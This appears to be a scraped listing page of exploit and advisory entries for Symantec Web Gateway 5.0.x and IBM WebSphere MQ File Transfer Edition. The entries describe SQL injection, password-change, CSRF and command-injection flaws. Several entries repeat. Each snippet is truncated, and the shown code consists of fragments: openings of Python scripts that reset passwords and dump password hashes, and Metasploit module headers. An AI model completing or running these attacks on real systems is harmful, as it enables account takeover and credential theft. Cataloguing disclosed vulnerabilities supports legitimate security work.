Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change (Metasploit)

Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change Metasploit @Kc57 Symantec Web Gateway "Symantec Web Gateway %q This module will change the password for the specified account on a Symantec Web Gatewaye server. , 'License' = MSFLICENSE, 'Version' = "$Revision: 0 $", 'Author' = 'Kc57', ,...

Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change

!/usr/bin/python import urllib import urllib2 import re import sys print " " print " Symantec Web Gateway " exit0 ip = sys.argv1 username = sys.argv2 password = sys.argv3 url = "https://%s/spywall/temppassword.php" % ip opts = 'target':'executivesummary.php', 'USERNAME':username,...

Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change (Metasploit)

@Kc57 Symantec Web Gateway "Symantec Web Gateway %q This module will change the password for the specified account on a Symantec Web Gatewaye server. , 'License' = MSFLICENSE, 'Version' = "$Revision: 0 $", 'Author' = 'Kc57', , 'References' = 'CVE', '2012-2977' , 'OSVDB', '0' , 'BID', '54430' ,...

Code injection

The Web Gateway component in IBM WebSphere MQ File Transfer Edition 7.0.4 and earlier allows remote authenticated users to read files of arbitrary users via vectors involving a username in a URI, as demonstrated by a modified metadata=fteSamplesUser field to the /transfer URI...

IBM WebSphere MQ File Transfer Edition Web Gateway CSRF Vulnerability

Exploit for php platform in category web applications Exploit Author: Nir Valtman Description: Malicious user is able to add userspace, change permissions on existing userspace and add MQMD MQ Message Descriptor user IDs. All of the these vulnerabilities can be exploited using a CSRF Cross Site...

IBM WebSphere MQ File Transfer Edition Web Gateway CSRF

Exploit Author: Nir Valtman Description: Malicious user is able to add userspace, change permissions on existing userspace and add MQMD MQ Message Descriptor user IDs. All of the these vulnerabilities can be exploited using a CSRF Cross Site Request Forgery attack. Few days ago the CVE has been...

IBM Websphere MQ File Transfer Edition Web Gateway - Cross-Site Request Forgery

IBM Websphere MQ File Transfer Edition Web Gateway - Cross-Site Request Forgery Exploit Author: Nir Valtman Description: Malicious user is able to add userspace, change permissions on existing userspace and add MQMD MQ Message Descriptor user IDs. All of the these vulnerabilities can be exploited...

CVE-2012-4178

SQL injection vulnerability in spywall/includes/deptUploadsdata.php in Symantec Web Gateway 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via the groupid parameter...

Sql injection

SQL injection vulnerability in spywall/includes/deptUploadsdata.php in Symantec Web Gateway 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via the groupid parameter...

CVE-2012-4178

SQL injection vulnerability in spywall/includes/deptUploadsdata.php in Symantec Web Gateway 5.0.3.18 allows remote attackers to execute arbitrary SQL commands via the groupid parameter...

CVE-2012-4178

The CVE-2012-4178 entry affects Symantec Web Gateway 5.0.3.18, with an SQL injection in spywall/includes/deptUploads_data.php exploitable via the groupid parameter. The vulnerability allows remote attackers to execute arbitrary SQL commands. The NVD entry lists a CVSSv2 base score of 7.5 (HIGH) w...

Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)

The Symantec Web Gateway install on the remote host is affected by a remote shell command execution vulnerability due to its failure to sanitize input to the 'ip' parameter of the 'fromha.php' script. An unauthenticated, remote attacker can exploit this vulnerability to save a random PHP script o...

Symantec Web Gateway search.php SQL Injection (SYM12-011)

The remote web server is hosting a version of Symantec Web Gateway that is affected by a SQL injection vulnerability. The vulnerability is in includes/dbutils.php, and is exploitable via search.php. A remote, unauthenticated attacker could exploit this to execute arbitrary database queries. Note...

Symantec Web Gateway 5.0.3.18 Blind SQL Injection

!/usr/bin/python @Kc57 Blind SQLi POC Dumps out the first available hash in the users table of spywalldb import urllib import time from time import sleep timing='2.5' checks = 0 def checkchari, pos: global timimg global checks checks += 1 url =...

Symantec Web Gateway 5.0.3.18 (deptUploads_data.php) Blind SQL Injection Vulnerability

Exploit for php platform in category web applications !/usr/bin/python @Kc57 Blind SQLi POC Dumps out the first available hash in the users table of spywalldb import urllib import time from time import sleep timing='2.5' checks = 0 def checkchari, pos: global timimg global checks checks += 1 url ...

Symantec Web Gateway 5.0.3.18 - deptUploads_data.php?groupid Blind SQL Injection

Symantec Web Gateway 5.0.3.18 - deptUploadsdata.php?groupid Blind SQL Injection !/usr/bin/python @Kc57 Blind SQLi POC Dumps out the first available hash in the users table of spywalldb import urllib import time from time import sleep timing='2.5' checks = 0 def checkchari, pos: global timimg glob...

Symantec Web Gateway 5.0.3.18 - 'deptUploads_data.php?groupid' Blind SQL Injection

!/usr/bin/python @Kc57 Blind SQLi POC Dumps out the first available hash in the users table of spywalldb import urllib import time from time import sleep timing='2.5' checks = 0 def checkchari, pos: global timimg global checks checks += 1 url =...

Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection

Exploit for linux platform in category remote exploits This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

Symantec Web Gateway 5.0.2.18 - 'pbcontrol.php' Command Injection (Metasploit)

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 "Symantec Web...

Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 "Symantec Web...